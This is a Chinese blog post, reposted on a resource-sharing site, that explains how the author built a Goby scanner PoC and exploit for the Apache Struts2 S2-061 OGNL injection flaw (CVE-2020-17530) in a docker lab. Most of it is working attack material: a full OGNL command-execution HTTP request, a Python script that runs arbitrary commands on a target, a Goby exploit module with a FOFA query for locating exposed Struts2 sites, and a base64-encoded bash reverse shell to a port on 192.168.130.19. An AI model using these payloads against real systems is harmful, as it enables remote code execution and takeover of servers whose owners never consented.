记一次goby-poc的编写

🚩前言

最近看订阅号刷到好几个公众号都在转发goby官方的推文,本来我都没怎么注意的,因为说起goby,我感觉他在外网还是有点鸡肋,内网刷刷弱口令倒是还可以。可能我之前用的社区版poc少趴。最主要一个原因还是今天打开goby一看之前弄的红队破解版寄了😭,再一个想来都没试过这样的写poc就有了这次尝试。这个漏洞比较老了,就不去多研究他的逻辑成因了,主要还是侧重在利用上。

image-20221104002450702

🌊漏洞简介

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

🏳️‍🌈影响版本

  • Apache Struts 2.0.0 – 2.5.25

🌨️环境搭建

启动容器

docker-compose up -d

image-20221104001152750

访问http://192.168.130.19:8080,标题还是s2-059,因为这个61对59的修复就是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。

image-20221104000957169

🚀漏洞复现

用此环境下的poc来验证。

POST /index.action HTTP/1.1
Host: 192.168.130.19:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

拦截改包发包,可以看到在标签处的命令执行回显。

image-20221102232124607

☃️编写python-poc

python编写如下,构造一个request的get请求,拼接payload和URL,最后利用简单的正则筛选出最后执行的结果。

#!/usr/bin/python3

import requests, sys, re


if len(sys.argv) < 3:
    print("[+]Use: python3 s2-061.py http://ip:port command")
    print("[+]============================================================")
    sys.exit()


def bk():
    payload = "%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+sys.argv[2]+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
    url = sys.argv[1]+"/index.action?id=" + payload
    r = requests.get(url).text
    z = re.findall("a id=.*", r)
    print(str(z).replace("a id=\"", ""))


if __name__ == '__main__':
    bk()

执行也能正常回显。

image-20221103001512583

🗺️Goby-poc&exp编写

goby中支持自定义的poc,现在看官方文档,goby还开放了golang来补充json格式部分扩展性能不足。继续说回来,漏洞的基础信息就不多说,第一次写就随便填了。值得注意的一个就是查询规则那里,一定要能够精确定位到资产,否则会一直报让你填写完整基础信息。再一个就是那个has exp那里,勾选了的话就会有一个栏专门写exp的,他底下EXP Params的第一个就是后面的变量名。这里从扫描测试中开始说。

这里用GET方法传入一下字符串简单测试看漏洞是否存在,若有则会返回字符串BK和660+6的结果666。因此底下测试项那里就是看在http报文为200的同时,看主体里面是否包含BK666这个标志。

/?id=%25%7b+%27BK%27+%2b+(660+%2b+6).toString()%7d

image-20221103220412400

再接着就是利用测试,也就是exp的编写。这里测试使用POST方法,数据在下面,也就是上面环境中poc自带的。值得注意的是在(%23arglist.add(“{{{command}}}“))中,原先的id被替换成了{{{command}}},在这里的command的就是前面设置的变量。底下的id="([^<]+)"\s则是问的一个群里的师傅给的正则表达式,目前粗略的理解就是:

就是在[]中^为除去,就是在没有匹配到>与<闭合之前。因为我这个id=是在一个标签里面的。+多次匹配这样的子表达式,然后()是捕获并保存这个分组给后面用。“”是部分引用,将括起来里面有变量的就将其执行输出,最后\s再匹配上所有空格换行符等空白字符来控制格式输出来美观一些

/index.action?id=%25{(%23instancemanager%3d%23application["org.apache.tomcat.InstanceManager"]).(%23stack%3d%23attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(%23bean%3d%23instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(%23bean.setBean(%23stack)).(%23context%3d%23bean.get("context")).(%23bean.setBean(%23context)).(%23macc%3d%23bean.get("memberAccess")).(%23bean.setBean(%23macc)).(%23emptyset%3d%23instancemanager.newInstance("java.util.HashSet")).(%23bean.put("excludedClasses",%23emptyset)).(%23bean.put("excludedPackageNames",%23emptyset)).(%23arglist%3d%23instancemanager.newInstance("java.util.ArrayList")).(%23arglist.add("{{{command}}}")).(%23execute%3d%23instancemanager.newInstance("freemarker.template.utility.Execute")).(%23execute.exec(%23arglist))}

到处搜不到,只查到了一些参数说明:

  • ^ 匹配输入字符串的开始位置,在一组方括号里使用^时,它表示”非”或”排除”的意思,常常用来剔除某个字符
  • < 没找到
  • + 匹配前面的子表达式一次或多次
  • [] 中括号表达式
  • () 表示捕获分组,标记一个子表达式的开始和结束位置.子表达式可以获取供以后使用
  • "" 是部分引用,括起来的内容中如果有变量会先把变量、命令解析出结果,然后在输出最终内容来
  • \s 匹配任何空白字符,包括空格、制表符、换页符等等

image-20221103224439361

简单的命令都能执行,且返回正常数据。

image-20221103212058263

但是像那种无回显的命令不知道该怎么写这个测试项,这里dnslog可以外带出来,goby这边的反应就是在测试那里转圈圈,过一会会就报错。而且这里有个点还不太清楚,就是他一次是发两个包。下次抓一下包看看。

image-20221103211838466

再接着就是试试看反弹shell,先去在线网站编码转换一下[命令执行在线编码 | 国光 (sqlsec.com)](https://www.sqlsec.com/rce/)。

bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEzMC4xOS85OTk5IDA%2bJjEgICAgIA%3d%3d}|{base64,-d}|{bash,-i}

但这上面的结果还是经过加工的,我这里试了很多次变化才发现goby这里面的长命令还得进行URL编码,目前goby里面也是像上面的一样。虽然是拿到shell了但goby里面的回显还是有优化的空间的。

image-20221103215420850

最后的文件存储在goby的目录Goby\goby-win-x64-2.1.2\golib\exploits\user下面,最开始编辑完是go文件,也可以从goby里面导出为json文件。

image-20221104001816060

补充了前面的基本信息,最终go文件如下:

package exploits

import (
	"git.gobies.org/goby/goscanner/goutils"
)

func init() {
	expJson := `{
  "Name": "Struts2 S2-061 RCE BK",
  "Description": "<p><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL</span><a href=\"https://so.csdn.net/so/search?q=%E8%A1%A8%E8%BE%BE%E5%BC%8F&amp;spm=1001.2101.3001.7020\" target=\"_blank\">表达式</a><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">沙盒,而S2-061绕过了该沙盒。</span><br></p>",
  "Product": "Apache Struts 2.0.0 - 2.5.25",
  "Homepage": "",
  "DisclosureDate": "2020-12-08",
  "Author": "1136392270@qq.com",
  "FofaQuery": "title=\"struts2\"",
  "GobyQuery": "title=\"struts2\"",
  "Level": "3",
  "Impact": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。</span><br></p>",
  "Recommendation": "<p>升级至最新版</p>",
  "References": [
    "http://jvn.jp/en/jp/JVN43969166/index.html",
    "https://cwiki.apache.org/confluence/display/WW/S2-061",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-17530",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530"
  ],
  "Is0day": false,
  "HasExp": true,
  "ExpParams": [
    {
      "Name": "Command",
      "Type": "input",
      "Value": "whoami",
      "name": "command",
      "type": "input",
      "value": "whoami"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/?id=%25%7b+%27BK%27+%2b+(660+%2b+6).toString()%7d",
        "follow_redirect": true,
        "header": {
          "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"
        },
        "data_type": "text",
        "data": "",
        "set_variable": []
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "BK666",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "command|lastbody|regex|"
      ]
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/index.action?id=%25{(%23instancemanager%3d%23application[\"org.apache.tomcat.InstanceManager\"]).(%23stack%3d%23attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(%23bean%3d%23instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(%23bean.setBean(%23stack)).(%23context%3d%23bean.get(\"context\")).(%23bean.setBean(%23context)).(%23macc%3d%23bean.get(\"memberAccess\")).(%23bean.setBean(%23macc)).(%23emptyset%3d%23instancemanager.newInstance(\"java.util.HashSet\")).(%23bean.put(\"excludedClasses\",%23emptyset)).(%23bean.put(\"excludedPackageNames\",%23emptyset)).(%23arglist%3d%23instancemanager.newInstance(\"java.util.ArrayList\")).(%23arglist.add(\"{{{command}}}\")).(%23execute%3d%23instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(%23execute.exec(%23arglist))}",
        "follow_redirect": true,
        "header": {
          "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "root",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "uid",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|regex|id=\"([^<]+)\"\\s"
      ]
    }
  ],
  "Tags": [
    "命令执行"
  ],
  "VulType": [
    "命令执行"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "",
  "Translation": {
    "CN": {
      "Name": "Struts2 S2-061 RCE BK",
      "Product": "Apache Struts 2.0.0 - 2.5.25",
      "Description": "<p><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL</span><a href=\"https://so.csdn.net/so/search?q=%E8%A1%A8%E8%BE%BE%E5%BC%8F&amp;spm=1001.2101.3001.7020\" target=\"_blank\">表达式</a><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">沙盒,而S2-061绕过了该沙盒。</span><br></p>",
      "Recommendation": "<p>升级至最新版</p>",
      "Impact": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。</span><br></p>",
      "VulType": [
        "命令执行"
      ],
      "Tags": [
        "命令执行"
      ]
    },
    "EN": {
      "Name": "test",
      "Product": "apache2.x/2.1",
      "Description": "",
      "Recommendation": "",
      "Impact": "",
      "VulType": [
        "Command Execution"
      ],
      "Tags": [
        "Command Execution"
      ]
    }
  },
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}`

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		nil,
		nil,
	))
}

🌗总结

总的来说编写还是很方便,第一次踩坑比较多也没办法。谁叫他官方的把这个编写这块的文档给撤了😅。现在GitHub上面就只有插件和主题的编写有很详细的文档说明。今天了解到红队版和企业版的poc高达一千多,这么下去goby会越来越强的,还是可以慢慢地打造自己的武器库滴。本人技术很菜还有很多要学,此次是为了尝试和熟悉一下goby中poc的编写,各位表哥勿喷哈😝

原文地址:http://www.cnblogs.com/bktown/p/16904202.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性